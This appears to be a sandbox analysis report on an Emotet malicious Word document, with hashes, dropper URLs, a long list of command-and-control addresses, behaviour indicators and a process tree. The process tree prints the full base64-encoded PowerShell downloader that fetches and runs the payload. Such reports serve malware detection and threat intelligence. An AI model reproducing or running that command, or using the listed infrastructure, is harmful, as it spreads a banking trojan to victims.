emotet | 25263694227734da43c741c2d09b0f0aceb8cb2d9488378a2ea765c6c19be594

Analysis

max time kernel
135s
max time network
134s
platform
windows10_x64
resource
win10
submitted
12/08/2020, 15:56

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General

Target
emotet_e2_25263694227734da43c741c2d09b0f0aceb8cb2d9488378a2ea765c6c19be594_2020-08-12__155346._doc.doc
Size 229KB
Sample200812-a5yqvwfamn
SHA256 25263694227734da43c741c2d09b0f0aceb8cb2d9488378a2ea765c6c19be594
MD5 205a60018f311dc543fdfd61ac2396b2
SHA1 ef9345130dd86fa65beed395953ff5cf4551dab2
SHA512 fe9f32207f7fc94dff58d4282251e6a6dc7e8aedd7fa26d48811fab37ef88b82e0c12e320c0a4cfbeb8889c6458f2af0901ac285729d527c60676bb556c05df0
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
https://innovatex24.com/catalogmap/tbrc_l6q4g_bq0g4598kw/
exe.dropper
http://jonsonen.com/old/ow_0q4_y02/
exe.dropper
http://nuwaraeliyataxis.com/wp-admin/ynfpz_vw_fm/
exe.dropper
https://inquimais.com/plugins/rmkq_c_i8/
exe.dropper
http://armahouse.com/wp-includes/bf_2g_zqm31/

Extracted

Family

emotet

174.102.48.180:80
88.217.172.164:443
51.75.33.120:8080
62.138.26.28:8080
169.239.182.217:8080
114.146.222.200:80
116.203.32.252:8080
103.86.49.11:8080
74.120.55.163:80
41.60.200.34:80
209.182.216.177:443
157.245.99.39:8080
87.106.139.101:8080
152.168.248.128:443
104.236.246.93:8080
47.144.21.12:443
139.130.242.43:80
181.230.116.163:80
72.12.127.184:443
61.19.246.238:443
222.214.218.37:4143
119.198.40.179:80
47.153.182.47:80
95.179.229.244:8080
5.39.91.110:7080
181.211.11.242:80
76.27.179.47:80
167.86.90.214:8080
70.167.215.250:8080
95.213.236.64:8080
203.153.216.189:7080
81.2.235.111:8080
165.165.171.160:8080
176.111.60.55:8080
142.105.151.124:443
110.145.77.103:80
200.55.243.138:8080
183.101.175.193:80
190.160.53.126:80
104.131.44.150:8080
37.187.72.193:8080
47.146.117.214:80
2.58.16.85:7080
209.143.35.232:80
24.137.76.62:80
153.126.210.205:7080
78.24.219.147:8080
96.8.113.4:8080
91.211.88.52:7080
104.131.11.150:443
62.75.141.82:80
200.41.121.90:80
173.62.217.22:443
201.173.217.124:443
204.197.146.48:80
87.106.136.232:8080
24.179.13.119:80
93.51.50.171:8080
190.55.181.54:443
85.152.162.105:80
74.208.45.104:8080
139.59.60.244:8080
24.43.99.75:80
137.59.187.107:8080
83.110.223.58:443
46.105.131.79:8080
85.105.205.77:8080
107.185.211.16:80
185.94.252.104:443
113.160.130.116:8443
121.124.124.40:7080
5.196.74.210:8080
47.146.32.175:80
199.101.86.142:8080
109.74.5.95:8080
37.139.21.175:8080
168.235.67.138:7080
79.98.24.39:8080
157.147.76.151:80
209.141.54.221:8080
189.212.199.126:443
180.92.239.110:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3640	3372	powersheLL.exe	68

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1332-14-0x00000000021E0000-0x00000000021EC000-memory.dmp	emotet
behavioral2/memory/1332-14-0x00000000021E0000-0x00000000021EC000-memory.dmp	emotet
behavioral2/memory/1788-17-0x0000000000690000-0x000000000069C000-memory.dmp	emotet
behavioral2/memory/1788-17-0x0000000000690000-0x000000000069C000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
10	3640	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
1332	862.exe
1788	vssapi.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\iesetup\vssapi.exe	862.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3068	WINWORD.EXE
3068	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3640	powersheLL.exe
3640	powersheLL.exe
3640	powersheLL.exe
1788	vssapi.exe
1788	vssapi.exe
1788	vssapi.exe
1788	vssapi.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3640	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3068	WINWORD.EXE
3068	WINWORD.EXE
3068	WINWORD.EXE
3068	WINWORD.EXE
3068	WINWORD.EXE
3068	WINWORD.EXE
3068	WINWORD.EXE
3068	WINWORD.EXE
3068	WINWORD.EXE
1332	862.exe
1332	862.exe
1788	vssapi.exe
1788	vssapi.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1332 wrote to memory of 1788	1332	862.exe	75
PID 1332 wrote to memory of 1788	1332	862.exe	75
PID 1332 wrote to memory of 1788	1332	862.exe	75

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_25263694227734da43c741c2d09b0f0aceb8cb2d9488378a2ea765c6c19be594_2020-08-12__155346._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3068

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABXAE0AUgBFAE8AaQB4AG8APQAnAEYAQQBJAEcAWgBlAGIAaAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAYABDAHUAYABSAGkAdABZAHAAUgBPAGAAVABvAGAAYwBPAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABUAFQAVABEAFEAZgBrAGQAIAA9ACAAJwA4ADYAMgAnADsAJABLAEoARwBUAEIAcQBoAGYAPQAnAEcASABSAFEAUwBjAHkAbwAnADsAJABXAEQAWQBLAE8AdgBzAGMAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFQAVABUAEQAUQBmAGsAZAArACcALgBlAHgAZQAnADsAJABSAFAAUQBNAFoAZwBtAGIAPQAnAE4AVABQAEMASQBqAGkAcwAnADsAJABBAEUASgBWAEYAawBlAHoAPQAuACgAJwBuAGUAdwAnACsAJwAtACcAKwAnAG8AYgBqAGUAYwB0ACcAKQAgAE4AZQB0AC4AVwBFAEIAQwBMAEkARQBuAHQAOwAkAFUAWQBCAEwARAB1AGIAeQA9ACcAaAB0AHQAcABzADoALwAvAGkAbgBuAG8AdgBhAHQAZQB4ADIANAAuAGMAbwBtAC8AYwBhAHQAYQBsAG8AZwBtAGEAcAAvAHQAYgByAGMAXwBsADYAcQA0AGcAXwBiAHEAMABnADQANQA5ADgAawB3AC8AKgBoAHQAdABwADoALwAvAGoAbwBuAHMAbwBuAGUAbgAuAGMAbwBtAC8AbwBsAGQALwBvAHcAXwAwAHEANABfAHkAMAAyAC8AKgBoAHQAdABwADoALwAvAG4AdQB3AGEAcgBhAGUAbABpAHkAYQB0AGEAeABpAHMALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAHkAbgBmAHAAegBfAHYAdwBfAGYAbQAvACoAaAB0AHQAcABzADoALwAvAGkAbgBxAHUAaQBtAGEAaQBzAC4AYwBvAG0ALwBwAGwAdQBnAGkAbgBzAC8AcgBtAGsAcQBfAGMAXwBpADgALwAqAGgAdAB0AHAAOgAvAC8AYQByAG0AYQBoAG8AdQBzAGUALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAGIAZgBfADIAZwBfAHoAcQBtADMAMQAvACcALgAiAFMAUABMAGAASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUQBUAFEATwBHAGMAZQBoAD0AJwBOAEsAUQBFAEIAcABqAHEAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEsAWQBXAEEAVgBjAHYAYgAgAGkAbgAgACQAVQBZAEIATABEAHUAYgB5ACkAewB0AHIAeQB7ACQAQQBFAEoAVgBGAGsAZQB6AC4AIgBEAG8AdwBOAGwAYABPAGAAQQBgAEQARgBJAEwAZQAiACgAJABLAFkAVwBBAFYAYwB2AGIALAAgACQAVwBEAFkASwBPAHYAcwBjACkAOwAkAEwAWQBKAEEARwB6AHUAdQA9ACcARABFAFoASQBIAHoAbABpACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlACcAKwAnAHQALQBJAHQAZQBtACcAKQAgACQAVwBEAFkASwBPAHYAcwBjACkALgAiAEwAYABFAG4AYABnAHQAaAAiACAALQBnAGUAIAAzADYANQA5ADQAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAEMAYABSAEUAYQB0AGUAIgAoACQAVwBEAFkASwBPAHYAcwBjACkAOwAkAEQASQBOAEkAUwB5AHoAcgA9ACcASQBTAFoAUwBTAGIAeAB1ACcAOwBiAHIAZQBhAGsAOwAkAFAATQBRAFQATABxAGIAZAA9ACcARgBDAFIAVABTAHQAaABuACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFgAUABSAEIASABoAHEAbQA9ACcARABMAEgARwBKAGYAZQBzACcA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3640

C:\Users\Admin\862.exe
C:\Users\Admin\862.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1332
- C:\Windows\SysWOW64\iesetup\vssapi.exe
  "C:\Windows\SysWOW64\iesetup\vssapi.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:1788

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1332-14-0x00000000021E0000-0x00000000021EC000-memory.dmp

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memory/1788-17-0x0000000000690000-0x000000000069C000-memory.dmp

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memory/3068-4-0x000001B98A0B7000-0x000001B98A0BC000-memory.dmp

Download

memory/3068-7-0x000001B98C807000-0x000001B98C81B000-memory.dmp

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memory/3068-8-0x000001B98C807000-0x000001B98C81B000-memory.dmp

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memory/3068-6-0x000001B98C807000-0x000001B98C81B000-memory.dmp

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memory/3068-5-0x000001B98C807000-0x000001B98C81B000-memory.dmp

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memory/3068-0-0x00007FF976AE0000-0x00007FF9771A6000-memory.dmp

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memory/3068-3-0x000001B98C676000-0x000001B98C67B000-memory.dmp

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memory/3068-2-0x000001B98C671000-0x000001B98C676000-memory.dmp

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memory/3068-1-0x000001B98C671000-0x000001B98C676000-memory.dmp

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memory/3640-9-0x00007FF968EE0000-0x00007FF9698CC000-memory.dmp

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memory/3640-10-0x000001C2744D0000-0x000001C2744D1000-memory.dmp

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memory/3640-11-0x000001C2746B0000-0x000001C2746B1000-memory.dmp

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